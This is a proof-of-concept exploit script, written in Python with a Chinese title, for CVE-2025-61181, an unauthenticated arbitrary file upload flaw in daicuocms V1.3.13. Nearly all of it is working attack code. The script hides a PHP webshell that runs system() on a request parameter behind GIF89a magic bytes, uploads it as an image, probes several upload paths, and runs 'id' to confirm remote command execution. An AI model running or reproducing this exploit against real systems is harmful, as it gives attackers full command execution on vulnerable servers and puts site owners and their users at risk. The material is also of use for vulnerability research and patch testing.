CVE-2025-61181 daicuocms V1.3.13 任意文件上传漏洞

# CVE-2025-61181 PoC - daicuocms V1.3.13 Arbitrary File Upload # Exploit: Upload a PHP webshell disguised as an image file import requests TARGET_URL = "http://target.com" UPLOAD_PATH = "/index.php?m=upload&a=upload" # Adjust based on actual upload endpoint SHELL_PATH = "/uploads/" # PHP webshell payload embedded in a GIF file (GIF89a header + PHP code) # Using GIF89a magic bytes to bypass content-type checks SHELL_CONTENT = ( "GIF89a;\n" "<?php\n" "if(isset($_REQUEST['cmd'])){\n" " echo '<pre>';\n" " system($_REQUEST['cmd']);\n" " echo '</pre>';\n" "}\n" "?>" ) def exploit(target_url, upload_endpoint): """ Upload a PHP webshell disguised as a GIF image to daicuocms V1.3.13. The server only checks the Content-Type header, not the actual file content. """ # Prepare the malicious file files = { 'file': ('shell.php', SHELL_CONTENT, 'image/gif') } # Send upload request without authentication response = requests.post( target_url + upload_endpoint, files=files, headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } ) print(f"[+] Upload Response Status: {response.status_code}") print(f"[+] Upload Response Body: {response.text}") # Try to access the uploaded shell # The shell may be saved with .php extension or original name shell_urls = [ target_url + SHELL_PATH + "shell.php", target_url + SHELL_PATH + "shell.php.gif", target_url + "/uploads/shell.php", ] for shell_url in shell_urls: check = requests.get(shell_url + "?cmd=id") if check.status_code == 200 and ("uid=" in check.text or "www-data" in check.text): print(f"[+] Shell accessible at: {shell_url}") print(f"[+] Command output: {check.text}") return shell_url print("[-] Shell not accessible, check upload path manually") return None if __name__ == "__main__": print("[*] CVE-2025-61181 - daicuocms V1.3.13 Arbitrary File Upload PoC") print(f"[*] Target: {TARGET_URL}") exploit(TARGET_URL, UPLOAD_PATH)